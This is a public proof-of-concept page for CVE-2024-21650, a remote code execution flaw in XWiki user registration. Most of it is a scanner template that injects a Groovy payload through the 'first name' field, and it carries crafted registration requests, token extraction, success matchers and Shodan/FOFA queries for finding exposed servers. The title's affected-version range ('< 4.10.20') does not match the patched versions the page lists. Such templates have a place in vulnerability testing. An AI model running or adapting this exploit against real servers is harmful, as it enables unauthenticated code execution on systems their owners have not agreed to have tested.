CVE-2024-21650: XWiki < 4.10.20 - Remote code execution

2025-08-01 XWiki PoC Public

Description

XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user registration enabled for guests.

PoC

id: CVE-2024-21650

info:
  name: XWiki < 4.10.20 - Remote code execution
  author: ritikchaddha
  severity: critical
  description: |
    XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user registration enabled for guests.
  impact: |
    Successful exploitation could lead to remote code execution.
  remediation: |
    This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-21173
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21650
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2024-21650
    cwe-id: CWE-95
    epss-score: 0.9348
    epss-percentile: 0.99835
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2024,xwiki,rce,vkev,vuln

variables:
  user: "{{rand_base(6)}}"
  pass: "{{rand_base(8)}}"
  email: "{{randstr}}%40{{rand_base(5)}}.com"
  firstname: "%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger%28%22attacker%22%29.error%28%22Attack+succeeded%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fbin%252Fregister%252FXWiki%252FXWikiRegister%253Fxredirect%253D%25252Fxwiki%25252Fbin%25252Fview%25252FScheduler%25252F%25253Fdo%25253Dtrigger%252526which%25253DScheduler.NotificationEmailDailySender HTTP/1.1
        Host: {{Hostname}}

      - |
        POST {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        parent=xwiki%3AMain.UserDirectory&register_first_name={{firstname}}&register_last_name={{lastname}}&xwikiname={{user}}&register_password={{pass}}&register2_password={{pass}}&register_email="{{randstr}}%40{{rand_base(5)}}.com&xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender&form_token={{token}}

    payloads:
      path:
        -
        - /xwiki

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "Registration successful"
          - "Attack succeeded"
          - "Failed to execute the [groovy]"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - data\-xwiki\-form\-token="([a-zA-Z0-9]+)">
        internal: true
# digest: 4b0a00483046022100bd18313309238d3d90c236fc45fab1ae97632594e88568e307663e92bb29fd4b022100e51d871acd11a67a43bfee79570af87bcec4a7d06a88acf2b5e9722476e8154b:922c64590222798bb761d5b6d8e72950

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